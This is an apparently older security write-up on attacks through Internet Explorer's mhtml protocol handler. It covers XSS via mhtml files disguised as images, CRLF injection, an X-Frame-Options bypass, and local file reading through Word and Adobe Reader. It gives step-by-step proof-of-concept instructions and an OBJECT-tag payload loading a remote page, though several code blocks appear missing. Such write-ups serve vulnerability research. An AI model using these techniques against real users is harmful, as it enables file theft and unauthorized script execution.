Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally released yesterday, There are two articles about the browser security[0x05 and 0x06].If the combination of both, we can complete a lot of interesting attacks...

1.Cross Site Scripting by upload mhtml file

Using the mhtml protocol handler,The file extension is ignored.so the attacker use renname the mhtml file to a *.jpg file,etc. then upload it to the target site...

ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload file format security restrictions

then use iframe tag src to it:

2.Cross Site Scripting mhtml-file string injection

the mhtml-file format is only base on CRLF,so if we can injection CRLF, the site may be attacked.

poc:

test it on win7 system pls.

if win-xp or win2k3 system,pls do it by the second urlencode.

mhtml-file string injection in JOSN file, some sites restrict the JOSN file's Content-Type to defense xss. maybe we can use mhtml-file string injection to pass it :)

3.bypass X-Frame-Options

X-Frame-Options did not protect the mhtml protocol handler.

the demo:

4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul

Billy (BK) Rios introduced a very interesting approach to Steal local files on the RuxCon/Baythreat(https://xs-sniper.com/blog/2010/12/17/will-it-blend/) ,it used "Script src to local files in the LocalLow directory" by file:// +java apple +Adobe Reader+Adobe flash to complete it. but if used mhtml+file://uncpath, so easy to do it.

Demo:

test it on win2k3+ie8+Adobe Reader 9

5.mhtml+file://uncpath+word == local xss vul

demo:http://www.80vul.com/mhtml/word.doc

download it, and save it on c:\word.doc and open it. u can get the alert c:\boot.ini 's content.

this is base on "Microsoft word javascript execution"(http://marc.info/?l=bugtraq&m=121121432823704&w=2).

to make the proof of concept follow the following steps:

1-Make a html file and paste xss code
2-Open the html file with the word and save as c:\word.xml
3-Open the word.xml with the notepad,and inject the mhtml code in <w:t>aaaaa </w:t>
4-Rename c:\word.xml to c:\word.doc
5-Open c:\word.doc file

xss code

<html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=http://www.80vul.com/hackgame/word.htm></OBJECT>
aaaaa

mhtml code

--_boundary_by_mere--

--------------------------------------------------------

if u use this vul to attack someone,u need to known the word file path where save the download file. and lots of guns used on the desktop :)

"Microsoft word javascript execution" is only work on office 2k3 and 2k7, In other versions u can make the link, and src to http://www.80vul.com/hackgame/word.htm

update
ofcouse ,this way maybe work on anoher file type like:*.pdf by app.launchURL()

6. Coss Zone Scripting

First we would like to mention a very old vulnerability:

This vulnerability (by firebug9[http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html]) allows you to execute any program on "My Computer" zone,Been tested and found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3

Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and change:

xss code
---------------------------------------------------------
<html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=mhtml:file://c:/word.doc!cookie></OBJECT>
aaaaa
----------------------------------------------------------

mhtml code
